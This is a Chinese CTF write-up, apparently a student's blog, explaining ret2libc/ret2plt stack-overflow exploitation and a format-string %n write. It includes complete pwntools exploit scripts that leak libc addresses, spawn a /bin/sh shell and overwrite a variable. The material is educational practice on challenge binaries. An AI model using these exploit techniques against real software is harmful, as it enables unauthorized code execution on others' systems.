这次做了一题逆向和pwn,不过做出的逆向太简单了就不多说了,倒是借着两题最基础的pwn题好好学习了一下ret2lib和ret2plt,以及格式化字符串漏洞。只是写payload的话,照着ctf wiki上的改几个地址就可以了。
考察基础的ret2libc和ret2plt,在google上找到一篇把ret2libc基础讲得很好的文章
https://www.shellblade.net/docs/ret2libc.pdf
这篇文章解决了我学习ret2libc时最大的困惑,就是栈溢出后多个地址和参数的排列顺序是依据什么规则。
以一个简单的函数为例子
void foo(int x)
{
int y;
x++;
y = 4;
}
int main(void)
{
foo(2);
return 0;
}
这个函数的栈空间如下:
在调用函数的时候,要传入的参数会放在RET之下,也就是主函数的栈空间的顶端。并且参数是根据调用的顺序依次向下排序的,也就是越早用到越上面。
接下来看程序
就一个NX(栈不可执行),另外还给了libc.so.6,应该是用ret2libc
溢出点很明显因为是32位的程序,payload填充84+4个字节就能完成溢出
因为程序内没有现成的system函数,所以要从libc里提取,为此需要知道程序运行之后libc的加载地址,这样得到libc的加载基址后就计算出system函数在程序运行中的实际地址了。
为此需要用到ret2plt,可以选的函数有puts、write、printf这些程序已经调用过的函数,因为这样plt表中就会有它们对应的got表地址,got表中就存储着这些函数的实际地址,只要控制程序跳转到函数plt表所在位置,程序会根据plt表去查找got表对应位置,从而得到函数在程序运行时的实际位置,以此调用函数。这里我选择在main函数中已经调用过的write函数来泄露got表中write的实际地址(puts和printf也都可以,区别在于参数不同)。
payload='a'*(0x54+4)+write_plt_address+game_addr+'1'+write_got_address+'4'
payload先是用88个‘a’填满缓冲区和ebp,随后是plt表中存储write函数的地址(相当于call write函数),然后跟上game函数的起始地址(main函数首地址也行,目的是为了能第二次进行栈溢出),程序执行完call write后栈顶就变成了game_addr,到时候就会把game_addr当作返回地址。接下来就是write的三个参数,文件标识符,字符串指针,字符串大小。我们需要write的实际地址(puts、printf这些程序之前调用过的函数都在got表中存储着,都可以读取),而这个地址就在got表中存储着。
执行完第一个payload后,获取到write函数的实际地址,用write_addr-write_libc_addr就能得到libc的加载基址。而加载基址加上libc.so.6中system的地址,就是system函数的实际地址了,同理,也能得到libc中"/bin/sh"字符串的地址,以此构造第二次payload。
payload='a'*88+(system_libc_addr+base_addr)+game_addr+(sh_addr+base_addr)
system调用完/bin/sh后就回弹shell了,因此后面的返回地址可以随便写,反正也回不去了-.-
最后是程序的完整payload
from pwn import *
#context.log_level = 'debug'
s=process("./pwn")
#gdb.attach(s)
elf=ELF('./pwn',checksec=False)
libc=ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
write_plt=elf.plt['write']
write_got=elf.got['write']
game_addr=elf.symbols['game']
write_libc_addr=libc.symbols['write']
system_addr=libc.symbols['system']
sh_addr=next(libc.search('/bin/sh'))
payload='a'*88+p32(write_plt)+p32(game_addr)+p32(1)+p32(write_got)+p32(4)
s.sendlineafter("name ?\n",payload)
#gdb.attach(s)
s.sendlineafter("? (0 - 1024)\n","123")
#gdb.attach(s)
write_addr=u32(s.recvuntil("What'")[-9:-5])
print hex(write_addr)
base_addr=write_addr-write_libc_addr
payload='a'*88+p32(system_addr+base_addr)+p32(game_addr)+p32(sh_addr+base_addr)
s.sendlineafter("name ?\n",payload)
s.sendlineafter("? (0 - 1024)\n","123")
s.interactive()
这里有个小坑卡了我十几分钟,就是write_addr显示的位置。另外这次还从学长那里学到了一个独特的调试手段,在发送完payload后gdb.attach(进程名),这样就解决了gdb中无法输入地址的问题,能亲眼看到栈溢出后栈内的情况了。
最基本的格式化字符串溢出
payload如下:
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
#tar=remote("117.50.13.182",33865)
tar=process("./format")
s_addr=0x804a048#整型参数secret的地址
payload=p32(s_addr)+"%188d"+"%11$n"
tar.sendline(payload)
tar.interactive()
printf里,只有字符串指针,那printf就会解析&s所指向的字符串,当遇到%时,就会根据其后跟着的符号,从栈内读取数据。
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。像%11$n,中间的11$就代表着printf偏移11个字节参数,相当于栈内的第十一个字节。
%188d则会输出188个字节的字符串,加上s_addr的地址的四个字节,就是192,最后%11$n会把栈顶偏移11个字节存储的值当作整型指针地址,然后用192覆盖它指向的地址所存储的值。
最后通过验证,获取到flag。
附上一个对照exp:
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
#tar=remote("117.50.13.182",33865)
tar=process("./format")
s_addr=0x804a048
payload=p32(0x804a044)+p32(s_addr)+"%184d"+"%12$n"
#gdb.attach(tar)
tar.sendline(payload)
#print tar.recv()
tar.interactive()
改动就是s_addr前加了随便一个地址,然后%188变成%184,11$变成12$。这个exp也能获得shell。